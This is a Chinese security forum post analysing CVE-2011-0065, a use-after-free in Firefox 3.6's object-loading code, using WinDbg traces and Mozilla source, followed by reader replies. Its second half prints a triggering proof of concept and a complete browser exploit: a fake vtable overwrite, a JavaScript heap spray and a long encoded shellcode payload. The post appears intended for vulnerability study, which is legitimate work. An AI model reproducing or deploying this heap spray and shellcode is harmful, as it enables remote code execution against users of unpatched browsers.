首页
社区
课程
招聘
[原创]CVE-2011-0065 Firefox mChannel UAF漏洞
2017-3-8 13:56 10195

[原创]CVE-2011-0065 Firefox mChannel UAF漏洞

2017-3-8 13:56
10195

软件名称 Firefox

软件版本Firefox 3.6.16

漏洞模块xul.dll

漏洞编号CVE-2011-0065

危害等级:高危

漏洞类型释放重引用

威胁类型:远程


1. 软件简介

       Mozilla Firefox是一款非常流行的开源WEB浏览器。SeaMonkey是开源的Web浏览器、邮件和新闻组客户端、IRC会话客户端和HTML编辑器。 

2. 漏洞成因

Mozilla Firefox 3.5.19之前版本,3.6.17之前的3.6.x版本以及SeaMonkey 2.0.14之前版本中存在释放后使用漏洞。远程攻击者可以借助与OBJECT's mChannel有关的向量执行任意代码

3. 利用过程

3.0 windbg设置

首先添加windbg关于Firefox的符号表地址

 

3.1漏洞触发

3.1.1 poc

<html>
<body>
<object id="d"><object>
<script type="text/javascript">
var e;
e=document.getElementById("d");
 
e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object('0c'),0);
e.data = "";
 
</script>
</body>
</html>


 

 

3.1.2 触发异常

运行FireFox并且用windbg附加它,然后运行刚才的Poc,断到异常处

 

然后用kv指令查看此时的堆栈信息,可以看到栈顶的返回地址68cf4e75

 

ub指令查看0x68cf4e75地址前面的指令,漏洞是出现在xul.dll模块中

 

根据C++成员函数this指针调用约定,可以知道上面的ecx是虚表函数,eax是对象地址,而call dword ptr ds[ecx+18]调用的整是某个对象的方法,即虚函数。

查看xul!nsObjectLoadingContent::LoadObject+0xf2发现有两个同名函数。

 

根据上面触发漏洞时栈顶的返回地址68cf4e75可以知道这里调用的是:

Matched: 68cf4d6d xul!nsObjectLoadingContent::LoadObject (class nsIURI *, int, class nsCString *, int)

因此,对68cf4d6d下断点:

0:000> bp 68cf4d6d

另外,从poc代码中可以看到关键函数onChannelRedirect 因此我们可以直接在winDbg中搜索函数,但是发现很多类里面都包含着onChannelRedirect 方法

 

但是刚才我们已经找到了,触发漏洞的类是xul!nsObjectLoadingContent,通过搜索,该类里也包含onChannelRedirect方法,连同其参数也一并列了出来,前两个参数为类对象

 

因此对xul!nsObjectLoadingContent::onChannelRedirect下断点,重新载入poc.html执行后,发现确实可以断下

 

 

查看此时它的三个参数,其中第二个参数是对象067a3e90,其余均为0

 

分析该函数的反汇编代码

 

上面的调试信息已经给出了源码文件的路径和行数,因此我们可以直接查看nsObjectLoadingContent::onChannelRedirect函数的源码,可以通过http://hg.mozilla.org/releases/mozilla-1.9.2/file/c24f21581d77/content/base/src/nsObjectLoadingContent.cpp获取在线代码

NS_IMETHODIMP

nsObjectLoadingContent::OnChannelRedirect(

nsIChannel *aOldChannel,                                          

nsIChannel *aNewChannel,                                          

PRUint32    

aFlags)

{  

// If we're already busy with a new load, or have no load at all,  

// cancel the redirect. 

 if (!mChannel || aOldChannel != mChannel)

 {    

return NS_BINDING_ABORTED; 

 }  

if (mClassifier)

 {   

 mClassifier->OnRedirect(aOldChannel, aNewChannel);  

}  

mChannel = aNewChannel; 

/***************************************************************/

将新对象067a3e90赋予mChannel对象,但由于Firefox本身的垃圾回收机制,在OnChannelRedirect函数调用完毕后,它会回收不再使用的对象,即尽在本函数内使用aNewChannel对象,此时mChannel就成了悬挂指针

/***************************************************************/

 

 return NS_OK;

}

 

动态调试一下,先在xul!nsObjectLoadingContent::LoadObject+0xfc下断点,

bp 68cf4d6d + fc

 

执行后断下,可以发现这里引用的对象就是前面的xul!nsObjectLoadingContent::OnChannelRedirect的第二个参数值0x0

 

单步执行下去就可以出发异常,因此虚表指针被篡改,导致索引虚函数时出错,进而导致程序崩溃。

 

3.2漏洞利用

为了实现任意代码执行,需要在mChannel对象释放后,用可控数据覆盖,填充它,因此,可以在nChannelRedirect函数执行完成后,紧跟着申请一块相同的内存:

e = document.getElementById("d");

e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)

fake_obj_addr = unescape("\x1C%u0c0c")

执行后,虚表指针就会被0x0c0c001c填充,从而控制程序的执行流程

接下来只需要利用Heap Spray技术将shellcode喷射到0x0c0c0034de位置即可实现执行任意代码。

 

4. exploit

 

<html>
<body>
<object id="d"><object>
<script type="text/javascript">
 
e = document.getElementById("d");
e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)
fake_obj_addr = unescape("\x1C%u0c0c")
 
//%
// taken and modified from adobe_flashplayer_newfunction.rb %u1a77%u3e43  65e3f263  7D66A4E8
var sc = unescape("%u4141%u4141%u0028%u0c0c%uc012%u5ddb%u4141%u4141%ua4e8%u7d66%u4141%u4141%uffae%u65e3%u4141%u4141%u0028%u0c0c%u4141%u4141%u4141%u4141%u4141%u4141%u1ad4%u7c80%u0084%u0c0c%u0028%u0c0c%u0400%u0000%u0040%u0000%u0028%u0c0c%uf00d%ubeef%u4413%u7c87%u0048%u0c0c%u0c00%u0c0c%u0400%u0000%u0040%u0000%u7174%u7276%u8646%ub0fc%u677b%u85bf%ubed6%u4fa8%uf987%u109b%uebd1%u2425%u0591%u349f%u9892%u3c4b%u731d%u7c78%u0c75%u42b7%ub997%u4e8d%ue389%ua927%u437f%u1c93%ub596%ud53b%ub6b4%u7748%u3115%uc7fe%uf8c0%u492c%u354a%u90b3%ud422%u14b1%ue083%ufd03%u2ab2%u3fe2%uf588%uba99%u047a%u2fb8%u7947%u3d2d%u7679%ubb41%ubba9%ub6b5%u2c71%u93ba%u2173%u7de1%u983d%u3fb1%ub88d%u9937%u6b14%u2ff9%u9134%u664f%u9fa8%u277e%u7a4e%u0147%u25e2%u2b46%u0cfd%u1cb2%u3590%ub9b3%u1d77%uf680%u3cd6%ueb8c%u1240%u3af8%u2dd4%u677f%u7241%u087c%u33e0%u0dfc%u9b97%u4b96%uf51b%ue381%u0543%u7b70%u0474%u00b0%ub4d5%ub724%u4978%u4a75%u1592%u48bf%ube42%u7c99%u7714%u9142%u2cb7%u24be%u9b2d%u7d71%u7b7a%u663f%u4398%u7973%ud428%u3d70%ub2b5%u0592%ub347%ubb96%u34b8%ub44a%ub904%u3578%ufc18%u904f%u41a8%ue211%ue30a%ud01a%ud6d2%u8da9%u0c7f%u4627%u13bf%ud3f7%ub1f8%u4840%u3715%u9f97%u3c75%uf50b%ud539%u7293%u324b%u30eb%ub6f9%u1949%uc1ff%u25e1%ue029%ufd38%ub067%u4e1c%u1dba%u742f%u760d%u7c7e%u277d%u4273%ufd02%u2d79%ua99b%ub11d%u7598%uf803%u7f35%ue320%u3f43%ub8ba%u7b9f%uf52b%u7a92%ub42c%u3dbe%u7191%u7072%ub766%u1c2f%ubf15%ub367%ubbb9%ue084%u4a41%u8925%u0cf9%u7677%ufc13%ueb81%u0d46%u4f90%u2147%u78d6%u9914%ud469%u05b2%u3cb5%u88b6%u4be1%u4897%u8da8%u24b0%u3334%u4ed5%u4093%u7496%u4904%ue20a%u7e37%u277f%u70b5%ue201%ub034%u7974%u1c7b%ud480%u4a8d%ua9b3%ue08c%u777e%u7204%u9947%ud232%u0dfc%u3776%u247a%u0b2f%ue1d1%u413f%ub8b2%u391d%u4ff5%ub625%u752d%u2973%u91f8%u909f%u4b7c%ue308%uf712%uc0c6%u9bfd%ua8b7%u40b9%u6796%u052c%u7149%u9843%u3cb1%u1935%u78eb%u9366%u144e%ud530%u9215%ubf0c%ubb42%u487d%u3dbe%ub4ba%ud687%u1146%u97f9%ueb20%u7f74%u777d%u4079%u8d3c%u0c9f%u4292%ufd6b%u97ba%ud618%ub798%uf909%u78b6%u7375%ub447%u227b%u23e0%ue3c1%ub02f%u1d70%u0035%u02e1%ub9d4%u7c37%uf83a%ue228%u717a%ud51b%u1472%u9646%u4148%ufc3b%u3d0d%u913f%ub3b2%ubb67%u9905%u2576%u1566%u93a9%ubfb8%u4a90%u7ea8%ueb31%u8434%u4fe2%u1c7b%u7cbe%u754e%uf538%u277a%ud085%u10e3%ue1d3%u724b%u7f2c%u7604%u8343%ue0f6%u9b49%u2d78%u247e%ub1b5%u3d70%u992d%u714f%ubb25%u9f48%u8da8%u3c7d%ubf9b%u4234%u1473%u4a41%u77b2%u9015%ufd40%u374b%u921c%u793f%u2c24%u1dd5%u0493%ub6b8%u4727%ub3b4%ua9b9%u67b5%ubad6%ube46%u49b1%u7491%u2a05%u0cf8%u2f98%u0df5%u4e96%u1a97%ub0d4%u6635%uf986%ufcb7%udb43%ub8d7%u42b3%u12d2%u74d9%uf424%u295f%ub1c9%u3144%u1947%u4703%u8319%ufcef%ub751%uf90b%ue10e%udad8%u23c4%u91f3%u7553%ub13a%u0410%ub18c%ueb50%ub367%u7880%u3431%u0033%ucf9e%uc575%ud791%uc60c%ue977%ud73f%u8969%u4434%u6e4e%ud0c1%ue5b2%uf281%uf8b2%u88c3%ue309%ud598%u12ad%u0a75%u5d99%uf902%u5c69%u33fa%u6e91%uc8c2%u15c1%u4402%ud71d%ua84d%u1020%u47ba%ue219%u8018%ufb2b%u8aeb%ufaf7%u4c00%uf073%u1a9d%u15d9%uf620%u2155%u09a9%ua382%u2de9%ud54e%u9f32%u3c66%u6960%ub793%u024a%u86d2%u3f44%ufeb8%u40c7%u00c2%ufb7e%u4439%udcfe%uc9a0%uc079%u7c00%u776d%u7fb7%u0192%u880d%u7e04%ua8e2%u1695%u9ac9%u833b%uae45%u2e30%ud8e4%u94ea%u5002%u83f4%u37ed%ua2fc%ue8d0%u1c47%u4576%uda0b%u726b%u0d21%u85f2%u323a%u169d%u95bc%u817e%u415d%u131a%uc0f5%ue081%uea76%u8f92%u2824%u192f%u5837%u3977%ub997%u74ef%uff84%ueece%u6f58%ucf7c%u00f4%u2f52%ub762%u4ae2%u2b06%u5dc2%uff5e%u4e00%ue1d7%ubc78%ub2b5%u122b%ue5c6%u52fd%uf968%u5aab")
 
var ret_addr = unescape("%u0024%u0c0c")
while(ret_addr.length+20+8 < 0x100000-18-12-12-12) {ret_addr += ret_addr}
var b = ret_addr.substring(0,(0x48-0x24)/2)
b += sc
b += ret_addr
var next = b.substring(0,0x10000/2)
while(next.length<0x800000) {next += next}
var again = next.substring(0,0x80000 - (0x1020-0x08)/2)
array = new Array()
for (n=0;n<0x1f0;n++){
array[n] = again + sc
}
 
e.data = ""
</script></body></html>


5.参考资料

《漏洞战争:软件漏洞分析精要》 林桠泉 

PS:CSDN的也是我写的



[培训]内核驱动高级班,冲击BAT一流互联网大厂工 作,每周日13:00-18:00直播授课

收藏
点赞1
打赏
分享
打赏 + 1.00雪花
打赏次数 1 雪花 + 1.00
 
赞赏  CCkicker   +1.00 2017/05/08
最新回复 (9)
雪    币: 389
活跃值: (150)
能力值: (RANK:110 )
在线值:
发帖
回帖
粉丝
wingdbg 2 2017-3-8 15:24
2
0
如果可以楼主可以把堆喷那块的漏洞利用分析分析,增强分析文章完整性
雪    币: 1489
活跃值: (955)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
仙果 19 2017-3-9 17:39
3
0
编辑了一下内容,更容易阅读一些
雪    币: 208
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
jmyjm 2017-3-12 10:02
4
0
当开启一个浏览器的时候,会有多个进程存在,那应该附加哪一个进程才是正确的。
雪    币: 199
活跃值: (310)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
hewittlee 2 2017-3-13 16:19
5
0
good!!!!
雪    币: 1184
活跃值: (174)
能力值: ( LV12,RANK:270 )
在线值:
发帖
回帖
粉丝
raycp 2 2017-4-5 16:16
6
0
win7开了aslr怎么办,exploit还有用吗?
雪    币: 44
活跃值: (62)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
暗黑之夜 2019-4-9 10:52
7
0
明明是抄的漏洞战争,基本一模一样,算什么原创。
雪    币: 3850
活跃值: (292)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
dodohit 2019-10-25 10:44
8
1
自己做实验时加载firefox符号表服务器失败,请问怎么解决的?能否提供firefox符号表
雪    币: 6888
活跃值: (1339)
能力值: ( LV10,RANK:174 )
在线值:
发帖
回帖
粉丝
DCO 1 2019-10-29 20:23
9
0
dodohit [em_63]自己做实验时加载firefox符号表服务器失败,请问怎么解决的?能否提供firefox符号表
我的也失败了,按照https://developer.mozilla.org/en-US/docs/Mozilla/Using_the_Mozilla_symbol_server提示手动下载也不行,估计是现在不提供了,想编译一份来老是报错

雪    币: 3850
活跃值: (292)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
dodohit 2019-11-6 15:39
10
0
If symbols will not download no matter what you do, the problem may be that Internet Explorer has been set to the Work Offline mode. You will not receive any warnings of this in Windbg, Visual C++ or Visual Studio. Even using the command line with symchk.exe to download symbols will fail. This is because Microsoft uses Internet Explorer's internet & proxy settings to download the symbol files. Check the File menu of Internet Explorer to ensure "Work Offline" is unchecked.
游客
登录 | 注册 方可回帖
返回